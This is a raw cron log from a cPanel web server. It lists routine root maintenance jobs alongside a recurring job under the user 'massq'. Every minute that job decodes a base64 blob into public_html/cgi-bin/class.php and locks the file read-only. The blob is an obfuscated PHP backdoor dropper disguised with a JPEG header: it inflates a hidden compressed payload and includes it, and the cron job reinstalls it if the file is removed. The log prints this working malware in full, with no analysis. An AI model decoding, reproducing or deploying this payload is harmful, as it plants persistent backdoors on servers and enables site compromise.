Sep  3 07:05:01 server CROND[17307]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:05:01 server CROND[17311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:05:01 server CROND[17309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:05:01 server CROND[17312]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 07:05:01 server CROND[17314]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:05:01 server CROND[17310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:05:01 server CROND[17313]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:06:01 server CROND[18137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:06:01 server CROND[18136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:06:01 server CROND[18138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:07:01 server CROND[18506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:07:01 server CROND[18507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:07:01 server CROND[18508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:08:01 server CROND[18879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:08:01 server CROND[18881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:08:01 server CROND[18882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:09:01 server CROND[19274]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 07:09:01 server CROND[19272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:09:01 server CROND[19273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:09:01 server CROND[19271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:10:01 server CROND[19758]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:10:01 server CROND[19760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:10:01 server CROND[19768]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:10:01 server CROND[19776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:10:01 server CROND[19780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:10:01 server CROND[19779]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:10:01 server CROND[19781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:10:01 server CROND[19782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:11:01 server CROND[20593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:11:01 server CROND[20594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:11:01 server CROND[20595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:12:01 server CROND[20973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:12:01 server CROND[20976]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 07:12:01 server CROND[20974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:12:01 server CROND[20975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:13:01 server CROND[21355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:13:01 server CROND[21356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:13:01 server CROND[21357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:14:01 server CROND[21802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:14:01 server CROND[21803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:14:01 server CROND[21805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:15:01 server CROND[22283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:15:01 server CROND[22284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:15:01 server CROND[22293]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 07:15:01 server CROND[22296]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:15:01 server CROND[22292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:15:01 server CROND[22294]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:15:01 server CROND[22291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:15:01 server CROND[22298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:16:01 server CROND[23313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:16:01 server CROND[23314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
